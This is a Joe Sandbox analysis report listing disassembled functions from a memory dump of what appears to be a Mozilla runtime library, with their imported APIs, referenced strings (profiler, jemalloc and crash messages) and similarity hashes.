?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE
<jemalloc>, xrefs: 6C990D92, 6C990DB9

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

name, xrefs: 6C9B1939
{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
Details, xrefs: 6C9B1925

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
